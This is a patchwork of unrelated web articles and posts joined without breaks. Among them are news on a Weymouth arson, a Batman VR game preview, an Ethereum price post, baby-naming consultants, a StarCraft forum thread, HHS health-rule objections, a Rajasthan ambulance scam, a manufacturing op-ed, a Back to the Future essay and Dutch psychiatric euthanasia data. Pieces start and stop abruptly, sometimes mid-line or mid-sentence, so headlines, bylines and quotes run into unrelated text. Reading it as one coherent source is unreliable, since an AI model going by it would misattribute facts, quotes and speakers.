For trucks, the diesel engines retain a higher percentage of their initial price than the gasoline options with the exception of the Ford F250 truck;
As cabin size increases, more trucks are installed with diesel engines. These larger diesel vehicles retain a greater portion of their total price, compared to their gasoline equivalents.
For more information about the study or to review the full results, please contact Mark Burd at [email protected] Police: 'God doesn't like pornography,' arson suspect says By Christian Schiavone, The Patriot Ledger Share Shares Copy Link Copy
A Rockland man told police he set fire to an adult entertainment and novelty store in Weymouth because God doesn’t like pornography, a police report said, according to the Patriot Ledger.Jon F. Fernald, 44, of 150 Martha Drive, Rockland, told police that he had been a customer at the Amazing Intimate Essentials store at 138 Bridge St. and that he blamed the store for getting him addicted to porn, according to the report.Images: Adult store set on fire “Mr. Fernald stated he wanted to get some revenge against the store so he set the fire because God does not like pornography,” Weymouth police Detective Timothy Browning wrote in his report.Fernald is charged with igniting the three-alarm blaze Saturday morning that caused an estimated $1 million in damage and left him severely burned. The fire destroyed the building, which also housed two other businesses and an apartment. No one else was injured.Fernald also told the officers he had been hearing voices telling him to light the store on fire for several days, according to the report.Police interviewed Fernald in his room at the burn unit at Massachusetts General Hospital, where he was taken with severe burns to his hands, arms, legs, face and head.He was arraigned in his hospital bed Monday on charges of arson of a dwelling, breaking and entering and possession of a burglary tool. He was ordered held without bail pending a hearing to determine if he would pose a danger if released. A date for that hearing has not yet been set.Fernald will also have to undergo a mental competency evaluation.Melissa Mitchell, a public defender who represented Fernald at his arraignment, declined to comment Tuesday.When police responded to the fire Saturday morning they found the building engulfed in flames. A witness said he’d seen a man start the fire and take off running. The witness pointed officers to a man running down Bridge Street, according to the police report. The officers caught up with the man, later identified as Fernald, and arrested him a short distance away.When the officers asked him what happened, Fernald said, “I’m mentally ill and sometimes I do stupid things,” officer Edward Hancock wrote in a second police report on file in Quincy District Court.Fernald told police that he’d taken a cab to the store Saturday morning, drinking a 40-ounce bottle of beer on the way, according to Browning’s report. He then stole two gas cans from a garage and used a sledgehammer he’d brought from home to break through the door of the store, the report said.Fernald said he poured gasoline on magazines and DVDs and lit them on fire, then he felt a “flash and a lot of heat,” according to the report.The fire spread to two other businesses, Serenity Nails & Spa and Epic Stone & Tile, and an apartment, all housed in the same building. The four occupants of the apartment escaped unharmed.An official for the American Civil Liberties Union of Southern California mocked elderly white people at a city council meeting last week, telling them they had “five years left.”
Rialto, California, held a regularly scheduled city council meeting last Tuesday after a city councilman apologized for planning an event to discuss the possibility of Rialto becoming a “sanctuary city.”
Luis Nolasco, a community engagement and policy advocate for the ACLU of Southern California, stood up to speak at the city council meeting and attacked many of the white people present, saying they are not actual residents of Rialto.
Nolasco said, “This is my town.”
{snip}
The city of Rialto is 72.4 percent Latino, according to a 2015 Census estimate.
“It’s kind of mean for me to say it but these people have probably like five years left,” Nolasco said while gesturing to the white attendees at the meeting. A video of the meeting shows that several of them were elderly.
The ACLU official said that Latinos and blacks are “the future,” and that “we don’t want to see an America that is hateful.”
The ACLU of Southern California told The Daily Caller Tuesday that Nolasco’s comments were not consistent with the ACLU’s stated policy but they support his right to freely express his opinion.
{snip}
Original Article
Share ThisOne of the more exciting announcements at Sony’s press conference was Batman: Arkham VR, a virtual reality experience set in Rocksteady’s Batman universe. Not long after the event, I had a chance to give it a shot.
This is actually being developed internally at Rocksteady; it’s not a spin-off made at an external studio. In an interview with Geoff Keighley, Rocksteady described Batman: Arkham VR as a roughly 60-minute murder mystery that’s meant to emphasise the “world’s greatest detective” angle of the character.
It’s not clear where it’s set in the timeline, either. In Keighley’s interview, Rocksteady said it’s “woven” into the previous games, but declined to say whether it takes place before, during, or after the events of Arkham Knight. One of the demos I had a chance to play, however, might have a big hint about that...
The first section has you hanging around Wayne Manor. After speaking with Alfred, you open a secret door to the batcave by tapping on a nearby piano. Though Arkham VR will ultimately be playable with a controller, this version was hooked up to Move controllers to simulate your left and right hand. It was neat.
In the batcave, you’re quickly equipped with access to batarangs, a grappling hook, and Batman’s fancy forensic scanner to examine your surroundings. To use them, you have to physically move the Move controller close to your chest or sides. In my experience, motion controllers are key to VR, and having to digitally grab the batarang and fling it around the room is very fun.
That bit ends pretty quickly, though, and you’re ushered off to what I’m guessing is the meat of Arkham VR: breaking down a crime scene.
Warning: There are spoilers for Arkham VR ahead.
Batman arrives to find Dick Grayson, aka Nightwing, dead. His neck has been snapped, and his body sits lifeless up against the wall. It’s unclear what happened, band it’s your job to reconstruct that, so you can track the killer.
(Given that Nightwing was alive at the end of Arkham Knight, including its DLC, I’m suspecting this takes place after that game...?)
Since it’s still early days for VR, developers are still experimenting with how to let players move around. One of the more common approaches—and how Arkham VR is handling it—is to have pre-set areas players can shift over to. Around the crime scene, there are little icons that represent movement points.
This section is where your forensic scanner comes into play, and the way it works with the Move controller is clever. As you hold up the scanner, if you tilt the Move around, you can scrub through the reconstructed scene to try and pull out details about what happened. In this case, Batman’s trying to pinpoint the various moments Nightwing was injured in a fight—when he broke his jaw, his ribs, and eventually his neck. To do this, you gently tilt the controller, as if you were turning the dial on a video player, to shift through time. When it looks like something important happened—say, when Nightwing takes a punch to the jaw—you can stop it, scan deeper, and return to watch the fight continue.
The fight takes place all around you, forcing you to look in front, behind, and above you to take it in. It’s surprisingly intimate, and given how rough Arkham fights already feel when the camera is pulled back, it’s not surprising VR lends a sense of brutality that’s borderline disturbing. (This is especially true when Nightwing’s neck is snapped, and you can watch it over and over and over.)
This approach to a VR spin-off—identifying a gameplay mechanic that can be enhanced by VR, rather than forcing existing gameplay onto it—is hopefully a sign of things to come. Given that Arkham VR is coming this October for PlayStation VR’s launch, I’m not surprised it’s a shorter experience, but if Rocksteady can deliver an hour of moments like this, it’ll be worth playing.Ethereum price exploding up can it last?
Ethereum price exploding up can it last? With a market cap of over $700 million second only to Bitcoin in the world of cryptocurrencies. As you can see by the chart below money is pouring in at an ungodly rate. Approximately $600 million has found its way into Ethereum in little over a month greatly affecting the Ethereum price. Big corporations are trying to incorporate blockchain technology into their business models and many have been linked to Ethereum.
Blockchain consortium R3 CEV has announced its first distributed ledger experiment using Ethereum and Microsoft Azure’s Blockchain as a Service, and involving 11 of its member banks.
The R3-managed private peer-to-peer distributed ledger connected Barclays, BMO Financial Group, Credit Suisse, Commonwealth Bank of Australia, HSBC, Natixis, Royal Bank of Scotland, TD Bank, UBS, UniCredit and Wells Fargo.Media giant Thomson Reuters published a wanted ad for a blockchain expert software engineer specifically mentioning designing for Ethereum.
Are the corporations frontrunning Ethereum then push it on the public or making a play to take out bitcoin? Will it last or is it a pump and dump? Time will tell.Celebrities may have cornered the market on unconventional baby names like Blue Ivy and North West, but a Swiss branding company is offering help to parents seeking unique monikers for newborns — for a significant price.
Erfolgswelle vows to create a brand-new first name — for US$31,000 ($37,300 CAD).
CEO and owner Marc Hauser said the process works similarly to trademark naming with around 100 hours devoted to its creation and research.
“I think it’s very difficult to create a really fitting name, a name that fits to your family’s background, to your cultural background … that also fits with your sister’s name and your family name,” Hauser said in a phone interview, noting they’ve had inquiries from Pakistan, Singapore, South Korea and the U.S.
“We’re looking for a really nice sound of the name and a good feeling for the name because we’re creating a mythology and a history around the name as well.”
For parents choosing from among existing names, some are still seeking outside counsel for guidance.
[np_storybar title=”The Jennifer epidemic: How the spiking popularity of different baby names cycle like genetic drift” link=”http://news.nationalpost.com/2015/01/23/the-jennifer-epidemic-how-the-spiking-popularity-of-different-baby-names-cycle-like-genetic-drift/”%5D
There has never been a name like Jennifer.
Take your Liams, Olivias, Ethans, Emmas, Avas, Michaels, Williams and Christophers — none of them, not one, can match the Jennifer juggernaut.
Beginning in 1970, Jennifer was the top female baby name in the U.S., a position it would hold for a solid 14 years. The run was mirrored in Canada and, to a lesser extent, in the U.K. All before the Internet, before there was any readily available list of popular baby names from province-to-province or state-to-state.
Sure, lots of names drift in and out of popularity; but Jennifer was more than just a common baby name, it was a bona fide trend, a phenomenon. For a generation, it was almost impossible to walk into any grade-school classroom in North America without running into one — and probably two — girls named Jennifer, or Jenny or Jen.
Read more …
[/np_storybar]
Sherri Suzanne, founder of My Name for Life, consulted in New York strictly by referral for 20 years before turning her focus to worldwide clientele online.
Phone interviews and customized email questionnaires are designed to elicit parents’ style preferences, name parameters and to uncover any anxiety they may have about naming, she noted.
Following the initial consultation and ongoing correspondence with clients, she’ll handpick name suggestions with considerations given to working within cultural, religious and language boundaries. The process can run several hundred dollars.
“Some clients know right from the start that they want assistance,” said Suzanne.
“Some have struggled with the name of an older child and want a better experience with their next child. Others are just anxious to begin the naming process and want a partner to make their search more exciting and to help uncover names they would not have thought of.”
Suzanne said a challenge for some in settling on a name is the fear of making a long-lasting mistake — or having friends or family think they have. Her goal is to help alleviate their stress.
“I sometimes equate it to a real estate broker who will bring you to the house that might be perfect for you even though you can probably find the house yourself.”
Duana Taha, writer of the Name Nerd column on LaineyGossip.com, offers her opinion on celebrity baby names and also receives letters from parents seeking guidance on newborn monikers. In addition to giving advice on potential names, she suggests alternatives.
Taha said she sees her role as a “complete stranger” in the process as key.
“They really appreciate that there’s somebody that’s judging based only on the merits of the name and that they get to tell their story in its entirety without somebody saying you also have to pay tribute to Great-Aunt Margaret.”
Taha said the wealth of naming resources can also be overwhelming for individuals unsure of where to start.
“It’s not as simple as finding a name that is phonetically pleasing for a child. You also want to have a name that kind of signifies how you feel about them or how you want them to feel.”
Taha said it’s a “really cool feeling” to play a role in the process, adding that the best part is the thoughtfulness invested in the name the child carries.
“That doesn’t mean the most unusual name in the world. It just means something that I think everybody really cared about and cared for when they were choosing to give it to this child.”
Suzanne said knowing she has helped in some way in naming children is “enormously exciting” and that parents who seek her help take the responsibility seriously.
“Nobody ever comes to me just to throw the task onto someone else — that’s kind of a myth about naming consultants. …
“Every parent that comes to me is hyper vigilant and they want to do a good job.”Why and how do people refuse to pay for war? Where does the money go? What are the consequences? How does war tax resistance fit into one’s life? Twenty-eight people offer their motivations for and methods of resisting the war machine with their tax money. This tightly paced film introduces viewers to war tax refusal and...
Why and how do people refuse to pay for war? Where does the money go? What are the consequences? How does war tax resistance fit into one’s life?
Twenty-eight people offer their motivations for and methods of resisting the war machine with their tax money. This tightly paced film introduces viewers to war tax refusal and redirecting tax dollars to peace, with music by Sharon Jones and the DapKings, Antibalas, Rude Mechanical Orchestra, and First Strike Theatre’s version of “Don’t Pay Taxes” by Charlie King.
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Is anything worth a tangle with the IRS? Order “Death and Taxes” today and decide for yourself. Excellent for workshops and presentations with time for discussion. Buy the DVD.Thouhastmail Profile Joined March 2015 Korea (North) 876 Posts Last Edited: 2015-12-19 07:00:42 #1
http://esports.dailygame.co.kr/view.php?ud=2015121912303849420
"...he have been received peculiar attention from fans after his leaving. Regarding this, he explained, 'I`ve been in the hospital for a while due to my father`s operation. Now I`m taking a rest.'
He also stated, 'The surgery went well; there aren`t any noticeable problems. I`m fine, no need to worry.' "
"Morality is simply the attitude we adopt towards people we personally dislike"
Phredxor Profile Joined May 2013 New Zealand 14939 Posts #2 Good guy Rain.
Hope he comes back soon!
Starecat Profile Joined August 2014 820 Posts #3 Good recovery Rain! :3
Holdenintherye Profile Joined December 2012 Canada 1433 Posts #4 Wow what an incredible thing for him to do.
Hope he recovers fast and well
Wrath Profile Blog Joined July 2014 3115 Posts #5 It seems Korean SC2 players with father's bad health status is common thing.
Zest GSL season 1 2014 said his father could not make it because he was in hospital.
Rogue (I GOT THE NAME RIGHT!) father passed away
And now Rain...
GTR Profile Blog Joined September 2004 47912 Posts #6 Ah, this was probably what they were talking about when I was in the press room. Commentator Twitter: @GTR1H
Stream: http://www.twitch.tv/GTR1H
sh0ck Profile Joined December 2015 United States 52 Posts #7 Holy shit. I feel bad about feeling bad about his taking a rest now. I was pissed that I wouldn't get to see my favorite player compete for a while and possibly retire, but a rest because you donated one of your internal organs...puts things into perspective.
Also love how he not only didn't flaunt it publicly for attention but didn't even bring it up at all in his tweet about taking a rest from SC2. Seems like an amazing dude...first it was Flash mentioning how the only person besides his family he confided in about his retirement was Rain, then this. Archangel protoss indeed. Farewell, Three Musketeers - Flash, Rain, FanTaSy
-Kyo- Profile Blog Joined August 2010 Japan 1812 Posts #8 On December 19 2015 17:09 sh0ck wrote:
Holy shit. I feel bad about feeling bad about his taking a rest now. I was pissed that I wouldn't get to see my favorite player compete for a while and possibly retire, but a rest because you donated one of your internal organs...puts things into perspective.
Also love how he not only didn't flaunt it publicly for attention but didn't even bring it up at all in his tweet about taking a rest from SC2. Seems like an amazing dude...first it was Flash mentioning how the only person besides his family he confided in about his retirement was Rain, then this. Archangel protoss indeed.
Yeah, I think there have been numerous other people who have sited Rain as well. Pretty interesting stuff! Yeah, I think there have been numerous other people who have sited Rain as well. Pretty interesting stuff! Anime is cuter than
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provision, Section 1557 of the law, took existing anti-discrimination protections in civil rights laws and expanded them to include a prohibition of any discrimination in health care access on basis of sex.
The rule applies to any health care program or activity that receives federal funding, like hospitals that accept Medicaid patients. And it covers all health care practices of such entities, not just specific areas where federal funds are involved.
Lawyers for the U.S. Catholic Bishops Conference voiced several deep concerns with the regulations. They were joined by representatives of other religious organizations like the National Association of Evangelicals, the National Catholic Bioethics Center, and the Ethics & Religious Liberty Commission of the Southern Baptist Convention.
In a letter to the HHS Office of Civil Rights, they argued that where the proposed regulations prohibit “discrimination on the basis of termination of pregnancy,” this could be interpreted “incorrectly” as an abortion access mandate for health care providers and insurers.
“To prevent such a misreading, it is important that OCR [HHS Office for Civil Rights] state explicitly in the regulations that neither Section 1557 nor the regulations impose such a requirement,” their letter stated.
Mandatory access to abortion is not found in the Affordable Care Act, which instead left the decision of covering abortions up to the insurers themselves, the letter argued. Such a mandate would also be prohibited under existing law – the Weldon Amendment – they said.
By expanding the definition of sex discrimination in health care, the regulations present other problems, the letter argued. For instance, requiring “equal access” to health care for persons of any “gender identity” – defined in the regulations as the gender someone internally identifies with and not the gender they were born as – could affect the privacy of patients and the “effective delivery” of health care.
“For example, the residents of a health care facility such as a nursing home have a privacy interest in not being required to share a bedroom with a member of the opposite sex to whom they are not married,” the letter stated.
Or in another example they gave, “a psychologist providing group therapy to female rape victims should not be required to admit as a patient into those group therapy sessions an individual who is male but ‘identifies’ as female. Otherwise therapeutic outcomes that are achieved by limiting such sessions to biological women would be compromised.”
Another concern the letter’s authors presented is that the regulations mandate health care providers and insurers to cover services for “gender transition.” Such providers might include “a religiously-affiliated hospital or nursing home that participates in Medicaid,” and one that religiously objects to providing for such services.
Also, the regulations do not include an exemption for religious organizations who object to providing certain medical services or coverage under the rule, they added.
There is a legal basis for this, they explained. The health care law’s original anti-discrimination provision was written on the “grounds” of Title IX of the Civil Rights Act. Title IX prohibits discrimination in a number of areas including race and sex, but it includes an exemption for religiously-affiliated educational institutions in cases of sex discrimination.
So where a religiously-affiliated organization would not accommodate an individual’s request on basis of sex because the request “would not be consistent with [their] religious tenets,” they would qualify for an exemption under Title IX. Thus, the regulations must include at the very least a similar exemption for a religious organization.
“The [current] regulations proposed by OCR will substantially burden religious exercise,” the letter stated. “The burden is not justified by a compelling interest, and any legitimate government interest, if there is one, can be furthered by less restrictive alternatives.”
The HHS did float the possibility of a religious exemption to the rules, and asked for comments. The agency stated that the rule does not change existing religious protections like health care conscience laws, the Religious Freedom Restoration Act, and “provisions in the Affordable Care Act related to abortion services, or regulations issued under the Affordable Care Act with regard to preventive health services.”
The proposed rule comes just days after the Supreme Court agreed to hear multiple challenges to the health care law’s contraception mandate that requires employers to provide coverage for contraceptives, sterilizations, and drugs that can cause early abortions.
Although the administration amended the rule for religiously-affiliated organizations that object to complying with the mandate, groups like the Little Sisters of the Poor argue that the revised rule still forced them to violate their consciences.
Under the new rules, they must notify the government of their objection, who will direct their insurer to provide the mandated coverage. Critics of the mandate argued that the cost for the objectionable drugs and procedures is still passed on to the religious groups that wanted to opt out of providing for them altogether.Rajasthan Ambulance Scam: Top Congressmen named in FIR
India
oi-Pallavi
Jaipur, June 11: Top Congressmen like Ashok Gehlot, Sachin Pilot, Ravi Krishna and Karthi Chidambaram have been named in an FIR filed in an ambulance scam under the Rural Health Mission, which is currently being investigated by the Crime Branch-Criminal Investigation Department or CB- CID of the state police. Some of the other names in the FIR were that of former union ministers Vayalar Ravi and P Chidambaram.
In the year 2013, Jigitsa Healthcare, which is a company run by Ravi Krishna, received the contract to operate 108 ambulances across Rajasthan, Bihar and Punjab. However, an audit report by the health department in Rajasthan calculated huge financial discrepencies in the way the ambulances were operated, with losses amounting to Rs. 14 crore.
The BJP has accused the Congress of giving the tender to the company due to political connections after it was found that Pilot and Chidambaram had also served as its directors. The Rajasthan police has filed an FIR against them and the case was transferred to CB-CID.
OneIndia NewsDuring the 2016 primary election, several presidential candidates repeatedly lamented the loss of American manufacturing jobs. Bernie Sanders Bernard (Bernie) SandersPush to end U.S. support for Saudi war hits Senate setback Sanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' MORE and Donald Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE built their populist economic platforms around the issue, soon followed by other candidates and members of Congress. None of the rhetoric explains manufacturing as an industry or the entire economy.
Over the last 20 years, low-skilled manufacturing jobs have vanished from the U.S. while high skilled jobs flourish. The central political narrative is that jobs are primarily lost to overseas competitors.
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While this may be anecdotally true, low-skilled manufacturing jobs disappeared primarily as the result of automation — which, ironically, is produced by US manufacturers. Offshoring only happened as a result of automating low-skilled operations.
I work in manufacturing (specifically metal machining) and my experience has given me much needed perspective on the issue. Most people do not realize that manufacturing is a cannibalizing industry in terms of employment.
For example, Ethicon contracted an American engineering firm to design and build equipment that automates the production of surgical suture packets. Prior to this equipment, American labor manually assembled each suture packet, completing one about every three to five minutes.
American manufacturers produced enough machines to outfit Ethicon’s facility in Puerto Rico. Now, surgical suture assemblies are built at a rate of one per minute — a threefold improvement.
In other words, an American manufacturer was contracted by an American corporation to produce equipment that would send American jobs overseas. Once automated, production no longer requires the same skill and high wages, thus it is sent where lower wage labor simply monitors the equipment and refills materials.
Manufacturing has cannibalized its own employment for a very long time. This is one example of many industries where automation permanently replaced jobs and moved production overseas. In my industry, manually operated mills and lathes have long been replaced by state-of-the-art CNC equipment where one person operates multiple machines.
No matter your political convictions, there’s no reasonable economic argument that our economy would be “better off” in a scenario where these automations did not occur. Your surgical sutures are now less expensive and we can produce complex parts for cutting edge applications that are the backbone of modern technology.
Our economy is not a fixed pie; it grows, changes, and creates wealth in new areas. The oft-cited statistic is that we have lost more than five million manufacturing jobs from 2000 to 2015. Although true, it misses a crucial piece of information: during that time, the United States economy had a positive net increase of three million jobs. We lost five million jobs, but created eight million.
In fact, 5.3 million of those new jobs were created in healthcare and professional business services — industries with average wages higher than average manufacturing wages. Growth industries create jobs that pay well, and we have seen this growth over the long run.
Job losses are an unfortunate part of economic growth and restructuring. What’s important, however, is that we create jobs elsewhere in our economy. By all measures, our economy created more than enough well-paying jobs to offset these losses.
A more troublesome fact is the lack of skilled labor in the manufacturing workforce. Personally, I can tell you that it is very difficult to find skilled CNC machinists that are young and motivated. I suspect the reason is because an entire generation was herded into colleges to earn subsidized low-value, high-cost degrees without the consideration of trade.
As the National Association of Manufacturing found, there are 600,000 unfilled jobs in manufacturing primarily due to a lack of skilled labor. It is this skills mismatch that plagues the US labor market as the leading cause of structural unemployment.
American manufacturing is stronger than ever and will continue to revolutionize the economic playing field. We produce some of the highest-value goods in the world like the Nikon 3D scanner for automotive quality control.
Whatever perceived economic ills are largely misdiagnosed by politicians who claim they can “create” growth in industries that are already growing.
Grant Phillips is a Young Voices Advocate. He is a member of Unbiased America and panelist on UA Live. Follow him @mod_libertarian.
The views of Contributors are their own and are not the views of The Hill.Spare a thought for Fox Sports News AFL Correspondent, Julian De Stoop, who today experienced one of the most dreaded events in a journalist’s career – having a live television interview hijacked by passers-by.
This common occurrence has derailed many interviews in the past, all over the world, however not many have been done by NBA stars. In today’s epic video-bombing, those NBA stars were Patty Mills and Aron Baynes of the recently crowned world champion, San Antonio Spurs.
The two Australians, in Melbourne fresh from their unique triumph last month, crashed de Stoop’s live Fox Sports cross and proudly showed off the Larry O’Brien Trophy.
In response, de Stoop, who looked far from impressed by the antics, pushed Mills away and narrowly missed making contact with his injured right shoulder which has recently been operated on.
Here’s the footage which has already found it’s way onto YouTube…
It was only after the event when de Stoop was made aware that the duo he had failed to recognize were actually Australia’s most recent two NBA champions.
Being the self-proclaimed home of American sport in Australia, we’ve offered to meet with Julian and provide him with some further information about the NBA and other major American sporting leagues.
@JDESTOOP80_FOX – Want to catch up and discuss NBA? MLB? NFL? NHL? Our website, http://t.co/rRPabDTZs4 is an Australian home for USA sport! — Dan Clark (@DanClarkSports) July 16, 2014
As yet, we haven’t had a response, but we remain hopeful the highly-regarded AFL Correspondent takes up our offer to discuss the big four American sporting leagues – after all, that’s our passion!Rules around Labour Party membership should not be relaxed, according to LabourList readers – and Jeremy Corbyn has won backing over his stance not to share a platform with Conservatives during the EU referendum.
Shadow Chancellor John McDonnell last week suggested that Labour’s compliance unit, which performs checks on members, should be scrapped. The call was criticised by other MPs, and an NEC member said that there was “no way” such a move would be approved.
And more than half of readers who took part in this week’s LabourList survey said that they did not want any relaxation of the rules around who is eligible for membership. 52% said that they were opposed to changes making it easier to join the party, while 37% are in favour of making the current guidelines less strict.
The rules have come under further scrutiny over the past fortnight after Jill Mountford, a member of Momentum’s national steering committee, was expelled, but trade union leaders Mark Serwotka and Matt Wrack both had their memberships approved.
On Monday night Jeremy Corbyn appeared on ITV’s The Agenda, where he said that he and David Cameron are “not on the same side” of the EU referendum debate, despite both supporting a vote to stay in the European Union. This seemed to confirm that he would not share a platform with Conservatives during the referendum campaign – which some believe was one of Scottish Labour’s biggest mistakes during the independence referendum in 2014.
LabourList readers appear to overwhelmingly agree with that decision, with almost three-quarters saying that Labour figures should not campaign with Conservatives in the referendum. 72% said that Labour politicians should refuse to work with the Tories on the issue, while 23% disagreed.
This week has seen the Tories climb down on child poverty measurements and Freedom of Information request charges – as well as the possibility of a watering down of elements of the Trade Union Bill. On Monday, the Parliamentary Labour Party applauded Corbyn for his work in forcing a u-turn from the Government on tax credit cuts.
This has given LabourList cause for some positivity about what can be achieved in opposition, with 83% of those who took part in the survey saying they believe the party can have an influence on Government policy, and just 14% disagreeing. 2,044 people voted in this week’s survey. Thanks to everyone who took part.Back In Time
In 1985, Back To The Future sent 17-year-old Marty McFly (Michael J. Fox) hurtling 30 years into the past to the year 1955 and, in the film’s final moments, 30 years into the future to the year 2015. For writer-director Robert Zemeckis and his writing partner Bob Gale, the years were likely just a matter of math needed to make the plot work. For 17-year-old Marty to meet his middle-aged parents when they were his age, he’d have to land in 1955. Ditto the leap to 2015 made by Marty, his scientist pal Doc Brown (Christopher Lloyd), and Marty’s girlfriend Jennifer (played here by the soon-to-vanish Claudia Wells and in the sequels by Elizabeth Shue). Yet staring down those years from the perspective of the 2015—the real one, without the hoverboards and flying cars—the years seem to take on an added significance. We’re as distant in time from 1985 as 1985 was from 1955 (and connected to the tacky 2015 of Back To The Future Part II mostly by videoconferencing and widescreen televisions). Yet, thanks to movies and memory, the past seems as close at hand as it does impossible to reach—and impossible to change.
I remember where I was the first time I saw Back To The Future: at a mall in suburban Ohio, my best friend and I doing our best Doc Brown impressions on the way back to the car of whichever parent drove us that day. In 1955, it was a patch of undeveloped land. In 1985, it was the busy retail heart of all the surrounding communities. Now it’s demolished, turned into a weed-filled vacant lot by a declining economy. But I remember it so well I can close my eyes and travel back there any time I like via the only kind of time travel any of us will ever really get to experience.
It’s also, if Back To The Future is to be believed, the safest. There’s a lot going on in Back To The Future, including the persistent suggestion that it’s dangerous to try to get back to some past, and that any imagined golden age is never quite as golden as it’s remembered to be. The ’50s of the film is a place of coonskin caps and neat suburban lawns, but also racial prejudice, sexual menace, and the sort of general paranoia that makes a farmer take a shotgun to a visitor from another world.
Back To The Future wasn’t Zemeckis or Gale’s first trip through time, nor would it be the last. The filmmaking team began their career with a nostalgia piece in part about the futility of trying to hold on to the past. Released to general indifference in 1978, though it’s well worth seeking out, I Wanna Hold Your Hand climaxes with a greaser named Tony (Bobby Di Cicco) who has no use for The Beatles taking an ax to the roof of the Ed Sullivan Theater in order to prevent the broadcast of the group’s first live appearance on American TV. A well-timed bolt of lightning prevents him from cutting off the signal, but every other moment of the film suggests it wouldn’t have mattered. History is about to subsume everything that made him the epitome of cool in his time—from his music to his fashion sense to his way of talking—and there’s nothing he can do about it. Time only moves one way. Anyone who tries to stop it should prepare to get crushed.
Doubleback
Bending time, on the other hand, is another matter. Marty doesn’t so much work to change history as to change it back, his very presence having created an existential crisis in the most literal sense. In the process, he gets to nudge it in his preferred direction, getting his parents’ relationship off to a better start while instilling his dad George (Crispin Glover) with the confidence he needs to be less of a loser for the rest of his life. Consequently, he returns to a happier family that can afford the custom 4-by-4 truck he craves for a romantic camping trip with Jennifer. (Glover has cited the wealth on display in the ending as a bummer that affirms “corporate value systems as opposed to humans’ value systems.” A more generous reading would see the prosperity as a byproduct of George’s less fearful approach to life, and not the source of the McFlys’ happiness.)
Yet, in the original film at least, Marty can only make small changes. (A sidenote: I want to focus on the original film here, but a piece later this week will engage with the sequels. They make wilder alterations to Hill Valley, but if anything they’re even more fatalistic: So many Tannens, so many McFlys, all locked into variations on the same endless drama decade after decade, with the same actors playing the parts.) Goldie Wilson (Donald Fullilove) overcomes prejudice to become Hill Valley’s mayor not because Marty encourages him, but because he was always going to become mayor. Marvin Berry clues his cousin Chuck into Marty’s performance of “Johnny B. Goode,” but Marty couldn’t have known the song if he didn’t come from a timeline when Chuck Berry wrote it in the first place.
There are troubling examples of this, too. In 1985, Marty’s home town of Hill Valley looks run down from its 1955 heyday. Courthouse Square—filmed on the same familiar Anytown backlot seen in Gremlins just the year before—has become a hangout for the homeless, and the two movie houses have been converted into a church and a porno theater. When Marty returns from the past, Hill Valley appears as dingy as when he left it. He can alter his family’s fate, at least a little: Marty and his siblings at least look the same and they still live in the same house in the same neighborhood, everything’s just a little nicer than before. But the more general trends that have driven Hill Valley’s downtown into decline—no doubt including the arrival of the shopping mall where Marty and Doc first test the DeLorean’s time-traveling abilities—remain unaffected. If he were to change it, chances are he’d only make things worse. The past is not for trifling with, and it will punish those who try.
The Power Of Love
So how does Marty get away with it? He has a powerful motivation: Should he fail to set things right, he won’t just disrupt history, he’ll be erased from it. It also helps that he has science on his side in the form of Doc Brown, who can explain what he needs to do to correct the errors he’s inserted into the past, and calculate down to the precise moment when he’ll need to hit a pair of electrically charged wires in order to return to 1985.
But the universe of Back To The Future is driven as much by intangible forces as the immutable laws of physics. In trying to get George to approach Lorraine (Lea Thompson), the woman Marty hopes will someday be his mother, it’s no accident that Marty coaches George to use the word “destiny.” (Or, “density,” as George initially mangles it.) Beyond the impact it will have on him personally, there’s a larger sense that the universe just won’t be right if these two people who don’t get together.
Back To The Future is a film of wonderful concepts and remarkable filmmaking—from the long, exposition- and foreshadowing-packed shot that opens the film to the beautifully staged climax—and memorable lines. But the heart of its appeal comes from the unusual love story at its center: that of a boy and his parents. It begins in the discomfort of Marty trying to elude his own mother’s sexual advances but ends much more sweetly than any such a set-up might have suggested. Marty begins the film seeing his parents as sad caricatures. Lorraine drinks too much. George lets life in general, and his lifelong bully Biff Tannen (Tom Wilson) in particular, walk all over him, finding escape only in the reruns on TV. Time travel allows Marty to see his parents as people again, and to see the potential they once had and might yet have again. He wants what’s best not just for him but for them, and it’s this recognition, as much as Doc Brown’s genius, that allows him to put the broken pieces of history back together again (with some selective rearranging of some key parts). Put simply: Love saves the day. Even time can’t stand in its way.
There’s a flip side to understanding that your parents have turned into sadder, unfulfilled versions of the people they hoped to be, however. It means the same might also be true of you. Just as Marty comes to recognize his parents’ lives might have followed different, happier courses, he sees the potential for his own life to fall apart. Marty lives for skateboarding, music, and Jennifer (and, to a lesser degree, oversized trucks and sugar-free Pepsi products). He doesn’t want his existence ever to be about anything else, and he definitely doesn’t want life to do to him what it did to George and Lorraine the first time around. When Doc Brown returns from 2015 to whisk him and Jennifer away, Marty’s first question is, “Do we turn into assholes or something?” Time, as Marty’s seen, has a way of doing that even to people who don’t start out that way—be it the teens of 1955, their kids in 1985, or the grown-ups those kids turned into in 2015, who now live a year that still sounds to them like something from a science-fiction future and wonder how the ’80s slipped so deep into the past. There’s usually no way of reversing the process, even with a flux capacitor, but some fates are worth fighting.
The Back To The Future discussion continues in the Forum, which digs into the film’s big legacy, small pleasures, and singular performances. And on Thursday, Noel Murray looks at the two Back To The Future sequels.SINCE 2002, when the Netherlands legalised assisted dying, its laws have been held up elsewhere as a model. But recent figures from the Dutch Euthanasia Review Committee have given some campaigners pause. It is not the total number of deaths under the law’s provisions that bother them—though it has increased by 76% since 2010, with more than 5,500 reported cases of euthanasia and assisted suicide in the country last year. Rather, it is 56 individual cases: those who sought, and received, doctor-assisted deaths because of psychiatric disorders. According to Paul Appelbaum of Columbia University’s department of psychiatry, the increase “raises concerns about eliminating people from the population as an alternative to providing them with the medical care and social support they need.”
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In a paper published in February Dr Appelbaum analysed regional data published by the Dutch authorities from 2011 to 2014. It seems that one in five patients cited as having a psychiatric disorder and availing of a doctor’s help to die had never been hospitalised for that mental disorder. He fears “mission creep”: that legislation intended to allow the sickest patients to truncate their final suffering is being used as a permanent end to a problem that can wax and wane, and that the system is not doing enough to ensure that death is the settled will of a sound mind. And the same paper reveals that women with psychiatric disorders seem around twice as likely as men with the same disorders to approach doctors for assistance in dying—an unexplained difference that also worries some.
